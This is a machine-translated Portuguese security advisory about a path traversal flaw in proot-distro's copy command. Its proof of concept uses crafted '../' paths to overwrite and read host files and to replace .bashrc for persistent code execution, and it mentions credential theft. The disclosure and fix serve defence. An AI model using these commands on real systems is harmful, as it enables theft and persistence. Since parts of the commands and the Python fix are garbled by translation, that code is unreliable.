Path Traversal em proot-distro copy — Leitura, escrita e execução de código persistente fora do contentor 1 > Repository distro Mantener: @sylirre 2 >Componente afetado Pacote: proot-distro Comando afetado: cópia Superfície do ataque: Host-side Termux CLI — este não é um problema de shell de distribuição de hóspedes Tipo de vulnerabilidade: Path Traversal (CWE-- 22 ) Versões afetadas Componente Versão -- -- proot- distro 4.38.0 (inicialmente descoberto), 5.0.2 (confirmado ainda afetado — testado em 2026 - 05 - 19 ) Teste distro. Ubuntu 25.10 "Perguntar Quokka" (alias ubuntu) Arquitetura. 64 Dispositivo. Samsung A 23 Fonte do pacote Ì stable/main aarch 64.

Prova do conceito Todos os testes foram realizados usando apenas arquivos de propriedade própria e dados de marcadores inofensivos. Não foi usada nenhuma raiz. Não houve dados de terceiros envolvidos. O .bashrc substituído durante o teste foi imediatamente restaurado. Passo 1 — Configuração rm -rf ~/poc mkdir -p ~/poc Passo 2 — Escreve arbitrária (sobrescrever um arquivo fora dos rootfs do recipiente) echo "ORIGINAL" > ~/poc/target.txt eco "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt Proot- distro copie \ ~/ poc/ evil.txt \ "ubuntu: $(printf '../%. 0 s' { 1.. 20 })data/data/com.termux/files/home/poc/target.txt" Saída observada: [*] Fonte: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destino: '/data/data/com.termux/files/home/poc/target.txt' [*] Copiando arquivos, isto pode demorar um tempo... [*] Terminou copiando arquivos. Verificação: cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO Isto confirma que o destino foi resolvido para um caminho fora do rootfs do recipiente e o arquivo foi substituído com sucesso. 3 >Passo 3 — Leitura arbitrária (exfiltrar um arquivo de fora dos rootfs do recipiente) echo "TOP_SECRET" > ~/ poc/secret.txt.

Proot- distro cópia \ "ubuntu: $(printf '../%. 0 s' { 1.. 20 })data/data/com.termux/files/home/poc/secret.txt" \ ~/poc/read_result.txt Saída observada: [*] Fonte: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destino: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copiando arquivos, isso pode demorar um tempo... [*] Terminou copiando arquivos. Verificação: cat ~/poc/read_result.txt → TOP_SEhCRET Esta confirma que o caminho da fonte resolvido para um arquivo fora dos conteiros e seu conteúdo foram copiados com sucesso para 3 >Passo 4 — Execução de código persistente através de sobrescrição do .bashrc printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh Proot- distro copie ~/poc/payload.sh \ "ubuntu:$(printf '../%. 0 s' { 1.. 20 })data/data/com.termux/files/home/.bashrc" Saída observada: [*] Fonte: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destino: '/data/data/com.termux/files/home/.bashrc' [*] Copiando arquivos, isso pode demorar um tempo... [*] Terminando de copiar arquivos. Processo de lançamento de um código em um processo de reenvio: Ataque Cenário O caminho de exploração mais realista é um cenário de assistente confuso: um script da comunidade, um plugin Termux ou chamadas automáticas de ferramentas proot- distro copy com um caminho derivado de entrada não confiável. O atacante fornece um caminho de contentor criado. A ferramenta o resolve para um local do lado do host e lê ou escreve o arquivo sem qualquer verificação de limites. O usuário vê saída de comando normal e nenhuma indicação de que um arquivo fora do recipiente foi tocado. Em um dispositivo real com chaves SSH ou credenciais armazenadas no diretório inicial Termux, a primitiva de leitura permite roubo de credenciais silenciosos. A escrita primitiva para .bashrc permite a execução de código persistente ativada no próximo login. Proposta de correção Após resolver o caminho relativo ao recipiente, verifique que o resultado canônico permanece dentro dos rootfs do recipiente antes de permitir qualquer operação de leitura ou gravação. Padrão de mitigação de exemplo no Python: importar os.

def safe_resolve(rootfs, container_path): candidat = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) se candidate!= root e não candidate. startswith(root + os.sep): aumenta o valorError("path traversal deteted: path resolvido escapes rootfs") candidato de retorno Esta verificação deve ser aplicada tanto aos caminhos fonte e destino no subcomando cópia . 2 > Notas adicionais Este número foi reproduzido na versão oficial do Termux do não um garfo. Nenhum acesso à raiz foi usado em qualquer momento durante o teste. Todos os arquivos de teste eram de propriedade própria e continham apenas dados de marcadores inofensivos. O .bashrc foi substituído durante o teste imediatamente após a verificação. Registro de aconselhamento: GHSA- mfr 4 - mq 8 w- vmg 6. Não há nenhum identificador adicional listado.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 17 T 20: 25: 37.000 Z e lista a sua última modificação como 2026 - 07 - 17 T 20: 25: 37.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N.

Software afetado e informações de versão: Proot- Distro do pacote PyPI — ECOSYSTEM: introduzido 0, corrigido 5.1.0.

Classificação e evidência: identificadores de fraqueza CWE- 22. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.